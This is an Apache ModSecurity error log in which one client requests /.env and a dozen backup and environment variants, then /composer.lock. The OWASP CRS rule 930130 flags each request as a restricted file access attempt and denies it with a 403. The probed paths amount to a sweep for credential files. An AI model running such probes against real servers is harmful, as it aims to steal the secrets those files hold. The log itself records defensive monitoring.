[Tue Oct 27 15:02:26.798283 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auD1QpL9vYPqDjnqklkb8AAAAAc"]
[Tue Oct 27 15:02:26.798530 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auD1QpL9vYPqDjnqklkb8AAAAAc"]
[Tue Oct 27 15:02:26.799281 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1QpL9vYPqDjnqklkb8AAAAAc"]
[Tue Oct 27 15:02:26.878127 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "auD1QpL9vYPqDjnqklkb8QAAAAc"]
[Tue Oct 27 15:02:26.878347 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "auD1QpL9vYPqDjnqklkb8QAAAAc"]
[Tue Oct 27 15:02:26.879055 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1QpL9vYPqDjnqklkb8QAAAAc"]
[Tue Oct 27 15:02:26.955628 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.prod"] [unique_id "auD1QpL9vYPqDjnqklkb8gAAAAc"]
[Tue Oct 27 15:02:26.955845 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.prod"] [unique_id "auD1QpL9vYPqDjnqklkb8gAAAAc"]
[Tue Oct 27 15:02:26.956528 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1QpL9vYPqDjnqklkb8gAAAAc"]
[Tue Oct 27 15:02:27.033231 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "auD1Q5L9vYPqDjnqklkb8wAAAAc"]
[Tue Oct 27 15:02:27.033452 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "auD1Q5L9vYPqDjnqklkb8wAAAAc"]
[Tue Oct 27 15:02:27.034164 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb8wAAAAc"]
[Tue Oct 27 15:02:27.110831 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.dev"] [unique_id "auD1Q5L9vYPqDjnqklkb9AAAAAc"]
[Tue Oct 27 15:02:27.111051 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.dev"] [unique_id "auD1Q5L9vYPqDjnqklkb9AAAAAc"]
[Tue Oct 27 15:02:27.111825 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb9AAAAAc"]
[Tue Oct 27 15:02:27.188529 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.development"] [unique_id "auD1Q5L9vYPqDjnqklkb9QAAAAc"]
[Tue Oct 27 15:02:27.188764 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.development"] [unique_id "auD1Q5L9vYPqDjnqklkb9QAAAAc"]
[Tue Oct 27 15:02:27.189581 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb9QAAAAc"]
[Tue Oct 27 15:02:27.266273 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.test"] [unique_id "auD1Q5L9vYPqDjnqklkb9gAAAAc"]
[Tue Oct 27 15:02:27.266499 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.test"] [unique_id "auD1Q5L9vYPqDjnqklkb9gAAAAc"]
[Tue Oct 27 15:02:27.267245 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb9gAAAAc"]
[Tue Oct 27 15:02:27.344017 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.staging"] [unique_id "auD1Q5L9vYPqDjnqklkb9wAAAAc"]
[Tue Oct 27 15:02:27.344420 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.staging"] [unique_id "auD1Q5L9vYPqDjnqklkb9wAAAAc"]
[Tue Oct 27 15:02:27.345281 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb9wAAAAc"]
[Tue Oct 27 15:02:27.421919 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "auD1Q5L9vYPqDjnqklkb-AAAAAc"]
[Tue Oct 27 15:02:27.422181 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "auD1Q5L9vYPqDjnqklkb-AAAAAc"]
[Tue Oct 27 15:02:27.422999 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb-AAAAAc"]
[Tue Oct 27 15:02:27.499711 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.old"] [unique_id "auD1Q5L9vYPqDjnqklkb-QAAAAc"]
[Tue Oct 27 15:02:27.499946 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.old"] [unique_id "auD1Q5L9vYPqDjnqklkb-QAAAAc"]
[Tue Oct 27 15:02:27.500661 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb-QAAAAc"]
[Tue Oct 27 15:02:27.577286 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.save"] [unique_id "auD1Q5L9vYPqDjnqklkb-gAAAAc"]
[Tue Oct 27 15:02:27.577526 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.save"] [unique_id "auD1Q5L9vYPqDjnqklkb-gAAAAc"]
[Tue Oct 27 15:02:27.578257 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb-gAAAAc"]
[Tue Oct 27 15:02:27.654929 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "auD1Q5L9vYPqDjnqklkb-wAAAAc"]
[Tue Oct 27 15:02:27.655204 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "auD1Q5L9vYPqDjnqklkb-wAAAAc"]
[Tue Oct 27 15:02:27.656033 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb-wAAAAc"]
[Tue Oct 27 15:02:27.732735 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.local.php"] [unique_id "auD1Q5L9vYPqDjnqklkb_AAAAAc"]
[Tue Oct 27 15:02:27.732961 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.local.php"] [unique_id "auD1Q5L9vYPqDjnqklkb_AAAAAc"]
[Tue Oct 27 15:02:27.733744 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb_AAAAAc"]
[Tue Oct 27 15:02:27.810406 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/composer.lock"] [unique_id "auD1Q5L9vYPqDjnqklkb_QAAAAc"]
